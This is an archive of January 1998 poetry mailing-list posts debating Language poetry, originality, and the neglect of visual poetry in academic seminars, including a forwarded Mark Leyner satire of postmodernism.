And Hurrah for his stunning revelation, which casts everything in a sudden new light: that the fruit-laden tree of American Language poetry has its beginnings in an epochal short poem that is plagiarized out of Canada.

Or would that be partly to the whole point?

Kent

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751. **KENT JOHNSON**
Length, without wave
Fri 23 Jan 1998

On 23 Jan. Katy Lederer wrote:

> *Also as to the unfortunate discussion of penis size that went on yesterday...*

Katy, you are right, and I do apologize to the list for contributing to that discussion. If a person's penis is as long as a horse's, it is in no way something to joke about.

Kent

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752. **Jacques Debrot**
Re: Weiners, Ceravolo, et al
Fri 23 Jan 1998

From the perspective of the present day the development of LangPo from the most radical innovations of the New Americans seems inevitable. But this

inevitability is imaginary & Gary Sullivan's remarks about looking to Wieners -- I, myself, would cite Ceravolo just as readily -- "when considerations relative to how to proceed arise" seems extremely suggestive. Perhaps one way to proceed is to consider -- to re-imagine -- what different lines of development New American writing might have taken in moving away from referentiality other than those exploited by LangPo.

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753. **Safdie Joseph**

Re: The new; Dale; langpo; tradition

Fri 23 Jan 1998

It's hard to keep up lately -- did all these various and variously interesting posts about the new vis-a-vis langpo really start when David Bromige asked, innocently enough, if the list (January '98) were pro- or anti- langpo? Did David ever really answer my response to him last week before Dale (and, to a lesser extent, Henry) picked up the ball? I wonder what percentage of time people actually SPEND on the list -- an hour a day? More? This is the first chance I've had to respond to things in a week, other than furtive back-channels . . .

Anyway, a few thoughts about: 1) Langpo. Yes, I agree it's sad when people feel they have to make "large general statements," the distaste for which I suppose begat Dale's readings of the Watten stanza followed by alternate readings by cris and David and Joel. My question about that mini-thread is: when did a poem's capacity to generate multiple interpretations become something of value? Aren't we really going back to _Seven Types of Ambiguity_ here?

I noticed that Ron Silliman, in an essay I generally admired in _ILS_ #4, had some kind words about the new critics, saying that their "reactionary aesthetic and political worldview" was the only thing really at issue; for many of us, though, the whole project of new criticism was fundamentally unsound (perhaps for reasons of "organicism") and langpo's early resemblance to that project generated suspicion. In the same issue, he says "an issue that continually lurks near the surface (and also near the heart) of almost all language writing is an ambivalence of intention, of intentionality as such." Well, call me a philistine, but I'm a little tired of "texts" that demand such response -- they become too much of an intellectual parlor game and such practice reduces the poem to the level of a jigsaw puzzle. When I think of what I VALUE in poetry, I think of information (and not solely in terms of Don Byrd's valuable example of such); I think of the skillful demolition of linguistic habit, the "dead, stinking dead, usages of the past"; I think of music; I think of truth and beauty; but I never, NEVER think "gee I like this because I think it means one thing but other people might think it means another." (I thought of this while listening to the news

last night and hearing "suborning of perjury is difficult to prove because conversations are abstract -- it's difficult to say what they mean" And if CONVERSATIONS are abstract . . .)

So for me there's something attractive about what Henry calls the poetry of plain statement (forgive me Henry if that's not exactly what you said). Is there anyone on this list who doesn't REVERE early Auden? As another example (and in answer to a request by David Bromige) here's some stanzas from a long poem by Tom Clark, "Early Warning":

43
Driven together by a desire to contend
Knowing no life but that of rivalry
They continued to buy and sell each other's souls
Even in this enclave of fugitives
Though allegedly they were dedicated to poetry
Instead it was envy that motivated them
So that they resembled rabid dogs
Traveling in a pack with maximum infighting
The attention of the group turned instantly to any
Renegade who threatened to outdistance
The rest, and this outlaw was collectively attacked

44
Mutual reinforcement's the name of the game
to survive in the "arts" you've got to be a belonger
if not to a school, then to a club,
a cell, a lodge, a party, a police force,
only the party standard bearers
are awarded the laurels of the party
all non-belongers are branded "paranoid" --
distrustful, dangerously suspicious (i.e., wise
to the condition of being outsiders); I'm
(for instance) as ingenuous and naively trusting
as your average Sudanese mercenary killer.

45
There is no interpretation necessary.
You got to deal with the man the way
the man going to deal with you. No hate
but to relate to history not forgetting
the mistake of those who'd evade it. Sticks
and stones will certainly break my brittle
bones but the stunted drone of the many

poetry clones only makes me laugh and study
ways to gain a new power over words
that are so stubborn, to steer them into
clear and simple sentences is a good lifetime's work.

Qualifications positively leap to the fore. I'm not claiming this is one of Tom's best works; what I'm saying is that, for me, the lack of necessity to "interpret" is sometimes a pleasure in and of itself.

2) The New. I think that the question "Is Ron's alphabet sequence really new?" is an ultimately degrading question. Shouldn't we be asking instead "is it GOOD?" People on this list have called it brilliant but still question its "newness" pedigree: this seems absurd! Granted, one's relation to The Tradition can be transgressive -- it's nice to assume that one would have been right there with Wordsworth and Coleridge in the _Lyrical Ballads_ speaking the real language of men, that one wouldn't have been among the Georgian poets Pound held up to scorn in the Imagist Manifesto; as frequently stated in another context, history is written by the winners. But for me, the anxiety of determining if one's work is "truly, truly new" is academic in the worst sense. That way lies fetishism. And again, it focuses attention (only) on the material text rather than the world and its complicated and complicating political environment that may have generated that text, the environment we all return to with hopefully-freshened senses and new understanding once we pick our eyes off the page.

Jacques Debrot wrote not long ago about the "the mind's need and capacity for self-estrangement." Sorry, but it's all I can do not to feel estranged, and I don't think I'd turn to poetry first if I truly wanted to feel such. Much too long a post; my apologies to all for that.

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754. **KENT JOHNSON**
Bernstein's Viz Po
Fri 23 Jan 1998

Bob G:

I was just browsing through the Poetics site and happened upon Charles Bernstein's lush grad seminar syllabus for Fall '97. Section 7 of the syllabus is titled "The Visible Word," and I was wondering if you would check that out and tell us how you see it comparing to Marjorie Perloff's syllabus at Stanford.

You can get there by clicking "Poetics Program" on the home page and then on "Graduate Seminars."

Kent

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755. **Bob Grumman**
Re: vizzipo seman R
Fri 23 Jan 1998

Whew, Bill, glad to hear from someone more or less agreeing with me! Ironically, you also embarrassed me because I haven't mentioned your press in any of my posts and should have. Yes, your take is close to mine. And I even have some sympathy for Perloff and Drucker's narrowness as I recognize--always have recognized--how much there is in our little field alone that I'm unaware of, and I do try to search it out. I don't think Perloff and Drucker have yet.

--Bob G.

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756. **R M Daley**
barthesian glory
Fri 23 Jan 1998

On Fri, 23 Jan 1998, k. lederer wrote:

> On Thu, 22 Jan 1998, Steve Evans wrote:
>
> >
> > Oppen's lines bring one further thing to mind. The question of how to make
> > it new takes on a different urgency in an established writer, I think, and
> > it must be tempting to displace the crisis onto the young in the form of
> > surly dismissals / loving prods. Has Ron succeeded in making it "really
> > new" in the years since _Ketjak_? I've heard knowledgable contemporaries,
> > young and old, dispute the question pretty hotly, and the outcome is not
> > every time in Ron's favor.
> >
> (Also as to the unfortunate discussion of penis size that went on
> yesterday...)
> (Also as to Dale Smith's critiques of various langpo styles...)
> (Also as to the brilliant intro to Jennifer Moxley's Imagination
> Verses...)
>
> "A language is therefore on the hither side of Literature. Style
> is almost beyond it: imagery, delivery, vocabulary spring from the body
> and the past of the writer and gradually become the very reflexes of his

> art. Thus under the name of style a self-sufficient
> language is evolved which has its roots only in the depths of the
> author's personal and secret mythology, that subnature of expression
> where the first coition of words and things takes place, where once and
> for all the great verbal themes of his existence come to be installed.
> Whatever its sophistication, style has always something crude about it:
> it is form with no clear destination, the product of a thrust, not an
> intention, and, as it were, a vertical and lonely dimension of thought.
> Its frame of reference is biological or biographical, not historical; it
> is the writer's 'thing', his glory and his prison, it is his solitude..."
> (Barthes, Writing Degree Zero)
>
> Who wants to be original--alone?
> Can (an implicitly stylized) writing ever take the form of a contract
> between the writer and the reader? Is this what you are asking for, Dale?
>
> Katy
>
> > >
> >
> >wait - writing degree zero did some nice things, wrote itself into 50s
critical theory fer sure, but itself mostly shows a little bit o
biographical in its historical, no? - ie, whats the diff?
and if ones/my style is that detachable unit from ones/my content
(read: the part with a 'destination', 'intention') isnt most everyone
original alone ? hence, what make 'n model of solitude ? no one seems to
be barthes 'writer' unless everyone is , right k? just seems a matter of
believing or not in the notion of personal artistic glory - as distinct
from the idea of personal glory of being a grocery cashier or
toothbrush packager - barthes is oh so , no?> > >
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> > =-=-=-=-=-=-=-=-=-=-=-=-=-=
> > The Impercipient Lecture Series
> > Steve Evans & Jennifer Moxley
> >
> > Before 31 January 98:
> > 61 East Manning Street
> > Providence RI 02906-4008
> > [redacted] OR [redacted]
> >
> > After 1 February 1998
> > c/o Le Gallou
> > #9 rue Quinault Paris 75015
> > [redacted]
> >
>

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757. **William R. Howe**

Re: vizzipo seman R

Fri 23 Jan 1998

---

bob g.- as you have known i have been running a press publishing visual and experimental work for the past 5 years (tailspin press), and i have often wondered why it is that people like perloff or drucker are turned to by the world at large for a glimpse of visual and spatial poetics rather than you or bob cobbing or john bennett or ihf or cris cheek or jurgen olbrich or even people like dick higgins or kostelanetz or ono madeline gins or alice hutchins or george brecht or ian breakwell for opines about visual work, and i have largely come to 2 conch lose ions. 1, for the most part visually and spatially weird work tends to have a very small circulation outside of special collections, archives, and personal networks (one of the reasons i am here at buffalo is the collection at the rare books room under bob bertholf and mike basinski), and as a consequence people who are outside of the loo p only see what they want to see, or rather what they can see easily, and not what nec goes on in our rather insular world. So, books by drucker about artists books (for instance) carry a great deal of weight because they are highly vissible even though they are pollitically motivated to only 4ground one-of-a-kinds (which are completely un-attainable by most standards and thus she can say whatever she wants about them with

realtive impunity)or works comming out of granary (her publisher who also makes the books almost completely una4dably expensive) and largely ignors small press visual/art book/objects. on the other hand perloff's seminar is doing what many of her books do, specifically taking a largely unheard of genre (at least in terms of accademic writing) and giving it a rather shallow reading, distilling a group of pallitable (for main-stream accademic and poetry audiences) practitioners, and presenting them as the end-all-be-all of the field. one of her modes is to show that otherwise acclaimed poets are doing this odd quirky thing too, thus giving credence to her judging this "new" field of research worth partaking. what her work does is expose people to experiment, but in a very conservative and often empty way missing many or even all of the high points and showing only tame and watered down art. i'm not sure what my second reason was. bill h o w e

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758. **RaeA100900**
address for Charles B.
Fri 23 Jan 1998

Dear Charles (or anyone else who can help),

I'm sorry to use the List this way, but my e messages to Charles are bouncing back at me. I'm using the same address I've succeeded with previously... Anyway, Charles, I need to talk to you about your reading here. Please e me - or pleas someone send me his current address. I'm using [redacted]

Sorry,

Rae Armantrout

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759. **Herb Levy**
Re: Nancarrow/Oppen?
Fri 23 Jan 1998

Hi folks,

Soon after the death of the expatriate American composer Conlon Nancarrow this past summer, several folks on the list were looking for more information on Nacarrow's relationship with George & Mary Oppen during their stay in Mexico City (this had been brought up in an exchange in the Village Voice between Jackson Mac Low & Kyle Gann, following Gann's obit column).

tracked down some additional information on this from Charles Amirkhanian, an SF Bay area composer/text-sound artist/radio producer etc., hope someone finds it to be useful:

> *Herb,*
>
> *George and Conlon were close as family. Mary Oppen tells a wonderful story about taking CN to Veracruz to buy blank player piano paper. She, George and Conlon were walking down the street when a tall, gorgeous redhead walked past them. Apparently Conlon was so knocked out by seeing her up close that he nearly fainted, or did faint.*
>
> *George was making furniture or supervising people who did. This is how the Oppens got by.*
>
> *They spent many hours talking politics, of course.*
>
> *Don't have any more anecdotes, unfortunately, except that, from a personal point of view, George and Mary encouraged me to call him when I found out that they had known Conlon. So when Carol and I went to Mexico City in June 1969, we told Conlon by phone that we knew George and Mary and that must have partially smoothed the way for this notoriously hermetic individual to open his doors to us.*
>
> *Bests,*
>
> *Charles*

Now back to the new & improved poetry wars.

Bests,

Herb

Herb Levy
[redacted]

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760. **Herb Levy**
Re: Bernstein's Viz Po
Fri 23 Jan 1998

Uh, Kent's directions didn't work for me, but this seems to be the Web page he's referring to.

<http://writing.upenn.edu/epc/authors/bernstein/syllabi/textual.html>

> *Bob G:*
>
> *I was just browsing through the Poetics site and happened upon*

> *Charles Bernstein's lush grad seminar syllabus for Fall '97. Section 7 of the syllabus is titled "The Visible Word," and I was wondering if you would check that out and tell us how you see it comparing to Marjorie Perloff's syllabus at Stanford.*
>
> *You can get there by clicking "Poetics Program" on the home page and then on "Graduate Seminars."*
>
> *Kent*

Herb Levy
[redacted]

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761. Henry Gould
fri. night Poetry Wars
Fri 23 Jan 1998

A ways back in our current keyboard handball game(s) I mumbled something about language poetry being about the difference between presence & ink, text & voice. A playing-up of the difference, based on a reaction to the shell game of identity-voice-presence-naturalistic-organicism. This particular post is not pro or contra anything. I just want to suggest 2 things: 1) maybe Vico was right: writing, text, MAY AS WELL pre-date speech because speech BEGAN as gesture,"drawing". Ut pictura poesis. So that perhaps there is a synthetic view rather than a binary or trinary view to be had of gesture (performance), voice (speech), and writing (drawing). Which leads me to 2): every ORGANIZED artistic move (vorticism, language poetry, what have you) is, as Gary Sullivan suggested, a latecomer - since THE ORIGINAL WORK OF ART IS SELF-GENERATING, SELF-OVERDETERMINED, INSPIRED, SPINNING OUT OF CONTROL, EXTRAORDINARY-ORDER-CREATING - beyond the "plan" of the artist - & why? BECAUSE IT IS AN ULTRA-CORRELATED SYNTHESIS OF MANY INCHOATE BUT TELEOLOGICAL IMPULSES. It's not the artist's to command (viz. Keats as mentioned...). So a synthetic poetics would ENCOURAGE those syntheses. And recognize when they are losing momentum through mechanical organization or uninspired repetition. I think the flow of several threads hereabouts tends in such a direction. And so we backfile & catalog what has perhaps been obvious for some time... - Henry Gould

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762. **Schuchat Simon**
Re: Weiners, Ceravolo, et al
Fri 23 Jan 1998

Seems to me that langpo was a crystallization of certain tendencies in the air at the time, most of which had been going on for some time. e.g., I first met Bruce Andrews in 1970, at Michael Lally's house, when Bruce was getting his MA at Hopkins and I was in 11th grade. Michael had found out about Bruce because a work of Bruce's was published (by Tom Clark!) in the Paris Review. It seemed to Michael and myself (and no doubt to Tom Clark) as entirely within the second generation NY school tradition, although Bruce had a much harder edge in terms of what he liked and disliked among contemporaries' writing.

From the NY perspective (I have no idea about SF) it was probably the fortuitious simultaneous presence of Bruce and Charles B in NY mid-70s, plus (as I recollect it) the strong interest of James Sherry, who published alot of proto-language works in ROOF.

There is a distance between what Bob Grenier was writing and what Larry Fagin was writing, but at the time it seemed as though the main distinction was that Larry employed much more sophomoric humor.

What went away or was buried, in NY at least, by langpo, was not Iowa Famous Writers School, but writers like Charles North, Paul Violi, etc. Ann Lauterbach, John Yau, Tony Towle also come to mind. Not that these poets were ignored or disappeared or whatever, but that the limited critical attention available went towards langpo. My own theory, expressed in my earlier post after reading Mailer's Ancient Evenings, is that langpo was a period style, it could represent other things going on in the politics and culture of the time, and could focus attention that way. Also, langpo was extremely commodious (catholic?) in accepting ancestors, whether or not it was as open to contemporaries or acolytes (re somebody's post about cliqueishness in San Francisco).

From a great height, nobody will able to tell any of it apart.

To plunge further, Barrett Watten's writing when I first read it seemed equally mainstream post NY school (Bolinas branch), albeit with a much drier humor than, e.g., Bill Berkson.

And another thing. Poetry is not political anymore because poetry has moved from being "Great Tradition" to "Little Tradition" in Redfield's distinction.

I'm going to have some breakfast now.

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763. **Bob Grumman**
Re: Bernstein's Viz Po
Fri 23 Jan 1998

Oh, boy, Kent, another chance for me to get further into Bernstein's bad graces! Thanks a lot!

Here's what's in the section of Bernstein's fall seminar that Kent brought up:

(Oct. 16) The Visible Word
Johanna Drucker, The Visible Word: Experimental Typography & Modern Art, 1909-1923 (TL,L)
Georges Jean, Writing, "Documents" section
Drucker PMC interview
ASSIGNMENT: experiment with different visual spacings of Mallarmé or Williams or other poets; do an original visually marked typographic, work, etc.
VISUAL POETRY LINKS:
Tom Phillips web site
Kenny Goldsmith VP Ubuweb
UVa Blake
Blake Digital Text Project
Grenier
FURTHER READING:
Experimental - Visual - Concrete: Avant-Garde Poetry Since the 1960s, ed. K. David Jackson, Eric Vos, and Johanna Drucker (Eduardo Kac's essay on holographic poetry is also at http://www.altx.com/ebr/ebr5/kac.htm)
Herbert Spencer, The Liberated Page
Willard Bohn, The Aesthetics of Visual Poetry
Willard Bohn, Appolinaire, Visual Poetry, and Art Criticism
Henry Sayre, The Visual Text of William Carlos Williams
Michel Leiris, tr. Lydia Davis, "Alphabet" in Rules of the Game
Henry Sayre, Robert Frank, eds. The Line in Postmodern Poetry, esp.: "L=A=N=G=U=A=G=E Lines",
Fraser, Hubert Gerald Janecek, Zaum: The Transrational Poetry of Russian Futurism (chapter 9)
____The Look of Russian Literature
Velimir Khlebnikov, Collected Writings
Dick Higgins, Pattern Poems
Emmet Williams, ed.. Anthology of Concrete Poetry
Milton Kolonsky, ed. Talking Pictures

I guess I'd have about the same criticisms of it as I do of Perloff's seminar--except that he's obviously only briefly surveying the use of visuality, mostly

peripheral visuality, in textual poetry, not devoting an entire course to visual poetry. Hence, he's not as loudly NOT discussing "my crowd" as Perloff is. So, a minor symptom of the same disease I consider Perloff's seminar to be a larger symptom of.

--Bob

G.

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764. **David Gitin**

Re: Nancarrow/Oppen?

Fri 23 Jan 1998

Both George and Mary Oppen talked to me about Nancarrow in our conversations from 1968 until George's death. What Charles Amirkhanian said is true, although there are more stories... I am amazed at the 'subjects' that come up on The List, not to mention the responses (flow of heat). Is there something you, Herb, are after here?

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765. **David R. Israel**

(Fwd) postmodernism & Jenny Jones

Fri 23 Jan 1998

---

submitted w/ an admitted bit of mild amusement (while knowing well enough it's horribly medium-low brow of me to so say); btw, re-saw *Orlando* tonight - wow d.i.

> *By MARK LEYNER, HOBOKEN, N.J. --*
>
> *JENNY JONES: Boy, we have a show for you today!*
>
> *Recently, the University of Virginia philosopher Richard Rorty made the stunning declaration that nobody has "the foggiest idea" what postmodernism means. "It would be nice to get rid of it," he said. "It isn't exactly an idea; it's a word that pretends to stand for an idea."*
>
> *This shocking admission that there is no such thing as postmodernism has produced a firestorm of protest around the country. Thousands of authors, critics and graduate students who'd considered themselves postmodernists are outraged at the betrayal.*
>
> *Today we have with us a writer -- a recovering postmodernist -- who believes that his literary career and personal life have been irreparably damaged by the theory, and who feels defrauded by the*

academics who promulgated it. He wishes to remain anonymous, so we'll call him "Alex."

Alex, as an adolescent, before you began experimenting with postmodernism, you considered yourself -- what?

Close shot of ALEX.

An electronic blob obscures his face. Words appear at bottom of screen: "Says he was traumatized by postmodernism and blames academics."

ALEX (his voice electronically altered): A high modernist. Y'know, Pound, Eliot, Georges Braque, Wallace Stevens, Arnold Schoenberg, Mies van der Rohe. I had all of Schoenberg's 78's.

JENNY JONES: And then you started reading people like Jean-Francois Lyotard and Jean Baudrillard -- how did that change your feelings about your modernist heroes?

ALEX: I suddenly felt that they were, like, stifling and canonical.

JENNY JONES: Stifling and canonical? That is so sad, such a waste. How old were you when you first read Fredric Jameson?

ALEX: Nine, I think.

The AUDIENCE gasps.

JENNY JONES: We have some pictures of young Alex. ...

We see snapshots of 14-year-old ALEX reading Gilles Deleuze and Felix Guattari's "Anti-Oedipus: Capitalism and Schizophrenia." The AUDIENCE oohs and ahs.

ALEX: We used to go to a friend's house after school -- y'know, his parents were never home -- and we'd read, like, Paul Virilio and Julia Kristeva.

JENNY JONES: So you're only 14, and you're already skeptical toward the "grand narratives" of modernity, you're questioning any belief system that claims universality or transcendence. Why?

ALEX: I guess -- to be cool.

JENNY JONES: So, peer pressure?

ALEX: I guess.

JENNY JONES: And do you remember how you felt the very first time you entertained the notion that you and your universe are constituted by language -- that reality is a cultural construct, a "text" whose meaning is determined by infinite associations with other "texts"?

ALEX: Uh, it felt, like, good. I wanted to do it again. The AUDIENCE groans.

JENNY JONES: You were arrested at about this time?

ALEX: For spray-painting "The Hermeneutics of Indeterminacy" on an overpass.

JENNY JONES: You're the child of a mixed marriage -- is that right?

ALEX: My father was a de Stijl Wittgensteinian and my mom was a neo-pre-Raphaelite.

JENNY JONES: Do you think that growing up in a mixed marriage made you more vulnerable to the siren song of postmodernism?

ALEX: Absolutely. It's hard when you're a little kid not to be able to just come right out and say (sniffles), y'know, I'm an Imagist or I'm a phenomenologist or I'm a post-painterly abstractionist. It's really hard -- especially around the holidays. (He cries.)

JENNY JONES: I hear you. Was your wife a postmodernist?

ALEX: Yes. She was raised avant-pop, which is a fundamentalist offshoot of postmodernism.

JENNY JONES: How did she react to Rorty's admission that postmodernism was essentially a hoax?

ALEX: She was devastated. I mean, she's got all the John Zorn albums and the entire Semiotext(e) series. She was crushed.

We see ALEX'S WIFE in the audience, weeping softly, her hands covering her face.

JENNY JONES: And you were raising your daughter as a postmodernist?

ALEX: Of course. That's what makes this particularly tragic. I mean, how do you explain to a 5-year-old that self-consciously recycling cultural detritus is suddenly no longer a valid art form when, for her entire life, she's been taught that it is?

JENNY JONES: Tell us how you think postmodernism affected your career as a novelist.

ALEX: I disavowed writing that contained real ideas or any real passion. My work became disjunctive, facetious and nihilistic. It was all blank parody, irony enveloped in more irony.

It merely recapitulated the pernicious banality of television and advertising. I found myself indiscriminately incorporating any and all kinds of pop kitsch and shlock. (He begins to weep again.)

JENNY JONES: And this spilled over into your personal life?

ALEX: It was impossible for me to experience life with any emotional intensity. I couldn't control the irony anymore. I perceived my own feelings as if they were in quotes.

I italicized everything and everyone. It became impossible for me to appraise the quality of anything. To me everything was equivalent -- the Brandenburg Concertos and the Lysol jingle had the same value. . . . (He breaks down, sobbing.)

JENNY JONES: Now, you're involved in a lawsuit, aren't you?

ALEX: Yes. I'm suing the Modern Language Association.

JENNY JONES: How confident are you about winning?

ALEX: We need to prove that, while they were actively propounding it, academics knew all along that postmodernism was a specious theory.

If we can unearth some intradepartmental memos -- y'know, a paper trail -- any corroboration that they knew postmodernism was worthless cant at the same time they were teaching it, then I think we have an excellent shot at establishing liability.

JENNY JONES wades into audience and proffers microphone to a woman.

WOMAN (with lateral head-bobbing): It's ironic that Barry Scheck is representing the M.L.A. in this litigation because Scheck is the postmodern attorney par excellence. This is the guy who's made a career of volatilizing truth in the simulacrum of exculpation!

VOICE FROM AUDIENCE: You go, girl!

WOMAN: Scheck is the guy who came up with the quintessentially

postmodern re-bleed defense for O. J., which claims that O. J. merely vigorously shook Ron and Nicole, thereby re-aggravating pre-existing knife wounds. I'd just like to say to any client of Barry Scheck -- lose that zero and get a hero!

The AUDIENCE cheers wildly.

WOMAN: Uh, I forgot my question.

Dissolve to message on screen: If you believe that mathematician Andrew Wiles' proof of Fermat's last theorem has caused you or a member of your family to dress too provocatively, call (800) [redacted].

Dissolve back to studio. In the audience, JENNY JONES extends the microphone to a man in his mid-30's with a scruffy beard and a bandana around his head.

MAN WITH BANDANA: I'd like to say that this "Alex" is the single worst example of pointless irony in American literature, and this whole heartfelt renunciation of postmodernism is a ploy -- it's just more irony.

The AUDIENCE whistles and hoots.

ALEX: You think this is a ploy?! (He tears futilely at the electronic blob.) This is my face!

The AUDIENCE recoils in horror.

ALEX: This is what can happen to people who naively embrace postmodernism, to people who believe that the individual -- the autonomous, individualist subject -- is dead. They become a palimpsest of media pastiche -- a mask of metastatic irony.

JENNY JONES (biting lip and shaking her head): That is so sad. Alex -- final words?

ALEX: I'd just like to say that self-consciousness and irony seem like fun at first, but they can destroy your life. I know. You gotta be earnest, be real. Real feelings are important. Objective reality does exist.

AUDIENCE members whoop, stomp and pump fists in the air.

JENNY JONES: I'd like to thank Alex for having the courage to come on today and share his experience with us.

> *Join us for tomorrow's show, "The End of Manichean, Bipolar Geopolitics Turned My Boyfriend Into an Insatiable Sex Freak (and I Love It!)."*
>
> **********
> *END*

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766. **robert drake**
Re: fri. night Poetry Wars
Sat 24 Jan 1998

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henry:
>... every ORGANIZED artistic move (vorticism, language
>poetry, what have you) is, as Gary Sullivan suggested, a latecomer -
>since THE ORIGINAL WORK OF ART IS SELF-GENERATING, SELF-OVERDETERMINED,
>INSPIRED, SPINNING OUT OF CONTROL, EXTRAORDINARY-ORDER-CREATING - beyond
>the "plan" of the artist - & why? BECAUSE IT IS AN ULTRA-CORRELATED
>SYNTHESIS OF MANY INCHOATE BUT TELEOLOGICAL IMPULSES. It's not the
>artist's to command (viz. Keats as mentioned...). So a synthetic poetics
>would ENCOURAGE those syntheses. And recognize when they are losing
>momentum through mechanical organization or uninspired repetition.
>I think the flow of several threads hereabouts tends in such a direction.

i think there's a distinction to be made, between the art on th one hand (self-generating etc, ok) and the artist(s)/social context... a vital artistic movement seems to me (praps somewhat idealized) a number of folks who find themselves mining a similar vein ov exploration, sharing experience, learning & building on each others success/failures. & that's to be contrasted w/ less-than-vital Organized Movements, late- comers & wannabes, yr "mechanical organization or uninspired repetition..."

there've been plenty of examples of folks continuing to do ORIGINAL WORK thru these threads; but i think the debatespark frm ron s. was a bemoanment about th lack "crystallization" of commonallity among those individs? or a lack of articulation of common ground... would you say, henry, that such an crystalization/articulation might (eventually? inevitably?) lead to the mechanical org & unispired rep that you deplore? but it also adds some Weight (cultural capital)--lack ov which (for some Unorganized & therefore Unrecognized Underdogs) has also been cause fr recent wailing...

lbd

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767. **J. Kuszai**
noise channel surf boy stink bomb
Sat 24 Jan 1998

Early in the vizpo debate I felt some sympathy for poor ole neglected Bob Grumman and his cohorts in the "Oh no not more pomo" vizpo biz. But after some thinking, and watching his attacks on well-meaning academic critics and sympathetic and supportive people such as Charles B, I have come to think differently. It is time that Bob stop complaining and start offering an alternative. And if Bill Howe thinks that Marjorie P's and J. Drucker's readings of visuality are so "superficial" (and one might assume that by extension he thinks this of Bernstein as well), then I for one am dying to get schooled in what's so great about Grumman's "crowd." And that all it seems to be to me. Sure, they're neglected. But there are hundreds, if not thousands, of worthy yet neglected writers out there. Mike Baskinski, who may be part of this "crowd" of vizpo biz champions, isn't any less a newcomer to the field than Bernstein's who's "Veil" is a "visual" work published in the late seventies (I think 78) by Miekal And's press Xexoxial (sp?) editions. Mike is someone I have published at least three times with Meow Press, and I even did a short story by his daughter Natalie, who is an upcoming artist and writer at 12. Mike isn't so neglected as the stink here would have one think. I would love to hear what makes this group "genuine" visual poets and which excludes only the "successful" language poets as being dabblers.

It seems to be a proper use of this list-space would be to offer up readings and descriptions of such work that is valued and yet may not have achieved proper recognition. Unlike many of the people Grumman is complaining about, both he and Miekal And, among others, are among the vanguard of artists making use of web publishing as a viable means of getting the word out. If it isn't about achieving "acadominance" (and I'm not sure that isn't the goal) but instead, about becoming known, appreciated, etc., then what better venue than the web for doing that? Since when does having a book mean anything except a warm feeling in your tummy when you sip your afternoon tea...There are plenty of unread books out there. I still think it is about status and sociality, which to me is a terrybull figment of the imagination best done away with. 20 people in a seminar in Palo Alto doesn't constitute an audience. And from what I understand about that program, it isn't as if that group of grad students is going to help sell the rights to Bob Grumman to Disney et al. I wonder how many of them are even on this list, or how many of them even care about the material under discussion. I think Perloff's doing a great service by even bothering with what

often seems to me a lame and superficial medium to begin with (And I have done my share of visual work, by the way). And as far as Drucker being superficial, Bill, or any of the vizpobiz boys, please give me an explanation as to why THE VISIBLE WORD might be seen as "superficial"??

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768. **groberts**
Digging my own grave
Sat 24 Jan 1998

"Epitaph on a fossilized talon"

Knowing your
archrival
to be
headed for
archival

might not
get you far
nor ensure
your own
survival.

I should know:
these lines
were
dead on
arrival.

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769. **Miekal And**
< noise channel> goat boy compost typography
Sat 24 Jan 1998

J. Kuszai wrote:
>
> Early in the vizpo debate I felt some sympathy for poor ole neglected
> Bob Grumman and his cohorts in the "Oh no not more pomo" vizpo biz.

in a list where each of us is endlessly evolving workable affiliations with all those within our range of interests, Im interested in representing countless interests, one of which is visual poetry, another being the text & all its possible extensions....so if there's a languag$e party going on, I wanna be in the middle of the action, & if fluxus makes an event I wanna be a fluxite, & if west

lima wisconsin had poetry slams, I want my words to make you roll in the gutter. as for cohorts, that would be all the groovy & ultragroovy writers on this list including you, Joel...

But
> after some thinking, and watching his attacks on well-meaning academic
> critics and sympathetic and supportive people such as Charles B, I have
> come to think differently. It is time that Bob stop complaining and
> start offering an alternative.

I think the obvious outcome of the "perloff paradigm" is a wakeup call about how poorly the worlds of visual poetry, hypermedia, performance & installation have been integrated with the readerly world. as for offering an alternative, that is already largely in place & has been in place as far as I can tell since international networking & person-to-person exchanges have been taking place, & that alternative was already in place when I started with xerox sutra in 80. more specifically related to this digital monolith we are all cowriting, I think the immediate & accessible alternative is to increase the bandwidth for works of all styles & media, just as Ive heard far more about new writers & presses via this list than any other source. as for complaining, we know about complaining, sometimes you just gotta be the bitchard to get things done.

If it isn't about achieving "acadominance" (and
> I'm not sure that isn't the goal) but instead, about becoming known,
> appreciated, etc., then what better venue than the web for doing that?

actually Joel youve hit it on the head, since I was thrown out &/or quit college 8 times (8 semesters, 8 attempts, 100% failure) & now about to become a graybeard with no piece of paper, Im hoping for an honory degree or two out there, so I'll have something to show for all my time, in a world where status is a monkish nailbiter, Im a status seeker.

when in fact I feel like thruout this discussion my intent was to represent the scale & the history of a century long affair with the visual text & in particular an attention to how networking & mail inspired a hyperculture that has a life of its own. & as for the lame & superficial medium begat by the "vizpobiz boys" (& girls), goat compost.

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770. **louis stroffolino**
Re: "actually new"
Sat 24 Jan 1998

Someone brought up the "New Critics" and the way we can see them as similar to the "langpo"--- Well, what do you think of Todd Gitlin's assertion that

the "beats" also share this.... "Their clubbiness echoed the general withdrawal from political activity; echoed the New Critics' strategy for extracting the literary text from historical context; echoed the do-it-yourself movement, which sent husbands into their basements to muster the small autarkies of leisure time; echoed, overall, the American infatuation with private strategems for social troubles." But then he adds that "among the well-known Beats, Allen Ginsberg was exceptional in skating along the radical edge.....Thus, when the zeitgesit shifted direction, retreat passed out of style, and other beats grew steadily more forlorn, Ginsberg could make the transit into the political sixties with grace....."(pg. 51).

In a related story, the Bernadette Mayer interview in latest St. MArx newsletter is interesting: she attacks doctors, monogamy, talks of her utopia, lizard, and the lack of sex in the poetry scene comparitively today (among other things--like langpo). Good to see a poet still offering lifestyle challenges rather than simply aesthetic..... Chris

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771. **Bob Grumman**

Re: The Perloff Seminar

Sat 24 Jan 1998

I was wondering when I (and the other "vizpobiz boys" out there like Bill Howe) would be properly chopped up by someone on the other side of this question. I'm sorry it had to be Joel Kuszai who decided to be the hatchet man, as I've admired what he's done with Meow Press and elsewhere.

In response I note that Joel went on the offensive, attacking me and my group rather than responding to my mock language poetry seminar and showing how it failed properly to parallel Perloff's seminar. For instance, is Charles Bernstein really more of paragon of visual poetry than Richard Kostelanetz is of language poetry?

